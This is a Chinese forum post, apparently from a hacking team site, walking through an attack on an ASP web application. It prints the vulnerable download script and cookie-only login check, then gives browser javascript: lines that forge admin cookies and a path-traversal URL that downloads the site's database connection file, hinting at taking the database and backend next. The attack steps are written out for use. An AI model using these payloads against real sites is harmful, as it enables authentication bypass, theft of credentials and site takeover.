文章作者:武夫
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com)
在/edit/downfile.asp中有如下代码:
复制内容到剪贴板
代码:
<!--#include file="fsoconfig.asp"-->
<!--#include file="checklogin.asp"-->
<%
call downloadFile(Request("path"))
function downloadFile(strFile)
strFilename = server.MapPath(strFile)
Response.Buffer = True
Response.Clear
Set s = Server.CreateObject("ADODB.Stream")
s.Open
s.Type = 1
on error resume next
Set fso = Server.CreateObject("Scripting.FileSystemObject")
if not fso.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")
Response.End
end if
Set f = fso.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
End Function
%> 大意就是定义了一个downloadfile函数,用来下载文件.其中checklogin.asp是用来检查用户是否的登录的页面.查看他的源代码,有如下代码
复制内容到剪贴板
代码:
<%
[color=#FF0000]'cookie验证[/color]
if Request.Cookies("admindj")<>"1" then
Response.Write "<BR><BR><BR><BR><center>权限不足,你没有此功能的管理权限"
Response.end
end if
if Request.Cookies("adminuser")="" or Request.Cookies("adminpass")="" then
Response.Write "<BR><BR><BR><BR><center>权限不足,你没有此功能的管理权限."
Response.end
end if
%>cookies验证的是否登录,在浏览器中依次输入
复制内容到剪贴板
代码:
javascript:alert(document.cookie="admindj=1")
javascript:alert(document.cookie="adminuser=hackwolf")
javascript:alert(document.cookie="adminpass=fuckyou")然后直接构造URL:
复制内容到剪贴板
代码:
http://localhost:81/edit/downfile.asp?path=../admin_conn.asp顺利下载admin_conn.asp页面,happy

下载数据库,登录页面是:login.asp,登录
后台有备份数据库的功能,大家知道怎么做了吧
整站下载地址:
http://down.asp300.com/ASP/170/843p.rar